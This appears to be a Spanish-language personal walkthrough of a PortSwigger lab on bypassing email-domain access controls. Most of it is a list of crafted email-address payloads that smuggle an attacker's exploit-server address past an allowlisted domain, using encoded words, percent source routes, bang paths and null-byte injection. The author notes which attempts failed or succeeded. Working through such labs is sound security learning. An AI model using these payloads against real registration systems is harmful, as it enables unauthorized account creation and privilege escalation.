🧊Lab: Bypassing access controls using email address parsing discrepancies
Aqui tengo mi paso a paso de este laboratorio, que a la fecha no he resuelto, por el momento solo tengo todas mis pruebas y apuntes para la resolución.
Tenemos el dominio permitido que posiblemente es el que nos dará acceso como administrador, tendriamos que correr:
Ahí vamos, algún día resolveré este condenado Laboratorio!
Payload Final:
Al fin, la solución certera para resolver este lab era con utf-7
Donde el exploit server puede ser nuestro collab o el exploit server directo del lab, y ginandjuice.shop es directamente el dominio permitido que queremos bypassear.
Y automaticamente nos llegará el correo al server:
Tendremos acceso directamente como admin, con el dominio permitido que acabamos de bypassear.
=?x?q?YXR0YWNrZXI==40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?x?q?a+ACMtd-acker=40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?utf-8?q?YXR0YWNrZXI==40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?utf-8?b?YXR0YWNrZXI==40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?utf-8?q?attacker=40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?utf-8?b?attacker=40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?x?q?attacker=40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
=?x?q?attacker=40exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop #bloqueado por razones de seguridad.
=?utf-8?q?foo=40ginandjuice.shop=3e=00?=attacker@exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net
## este de aqui abajo me registró exitosamente este correo:
attacker%exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net@ginandjuice.shop
## pero no me llego a mi exploit server -> probemos con el metodo arcaico llamados rutas de origen ->
collab%psres.net(@example.com ##ejemplo
attacker%exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net(@ginandjuice.shop #con el parentesis me trajo problemas
attacker%exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net@ginandjuice.shop #este puede ser, falta perfeccinarlo.
=?x?q?attacker%exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=@ginandjuice.shop #este puede ser, falta perfeccinarlo.
=?utf-8?q?attacker%exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net=3e=00?=foo@ginandjuice.shop
admin%ginandjuice.shop@exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net # con este me dijo que solo los emails con el dominio juiceand..eran permitidos.
oastify.com!collab\@example.com #vamos a probar este.
exploit-0a7d00fa04ffebbf81f983f8015b00d8.exploit-server.net!attacker\@ginandjuice.shop
attacker%exploit-0aae00f404b478868139472901540007.exploit-server.net@ginandjuice.shop # se envia el correo pero no me llega a mi server.
@ginandjuice.shop:attacker@exploit-0a0b00fb047fb9e7821f550f01a600f8.exploit-server.net
"=?utf-8?q?attacker=40exploit-0a0e00b0035bb11380c6ac3101990060.exploit-server.net_?="@ginandjuice.shop
=?utf-8?q?attacker=40exploit-0a0e00b0035bb11380c6ac3101990060.exploit-server.net_?=@ginandjuice.shop
=?x?q?attacker=40exploit-0a0e00b0035bb11380c6ac3101990060.exploit-server.net=3e=20?=foo@ginandjuice.shop
=?iso-8859-1?q?attacker=40exploit-0a0e00b0035bb11380c6ac3101990060.exploit-server.net=3e=20?=foo@ginandjuice.shop
=?iso-8859-1?q?attacker=40exploit-0a0e00b0035bb11380c6ac3101990060.exploit-server.net=3e=00?=admin@ginandjuice.shop
=?iso-8859-1?q?attacker=40exploit-0a0e00b0035bb11380c6ac3101990060.exploit-server.net=3e=00?=administrator@ginandjuice.shop
=?x?q?$attacker=40exploit-0af0000204c9a2be814844be01960080.exploit-server.net=3e=1f?=foo@ginandjuice.shop
=?x?q?attacker=40exploit-0af0000204c9a2be814844be01960080.exploit-server.net=3e=1f?=foo@ginandjuice.shop
=?iso-8859-1?q?attacker=40exploit-0af0000204c9a2be814844be01960080.exploit-server.net=3e=1c?=foo@ginandjuice.shop
=?utf-8?b?YXR0YWNrZXI=?=@exploit-0a8b00ad03f9b612815b5692014700b5.exploit-server.net
=?utf-8?b?YXR0YWNrZXI=?=@ginandjuice.shop
RCPT TO:<"attacker@exploit-0a8b00ad03f9b612815b5692014700b5.exploit-server.net>attacker"@ginandjuice.shop>
Pedro@[10.11.12.13]
attacker%exploit-0ae4000104992d2c80faa268014000fe.exploit-server.net%mail.mit.edu@ginandjuice.shop #este tambien envia el registro de correo sin embargo no me llega nada al server exploit.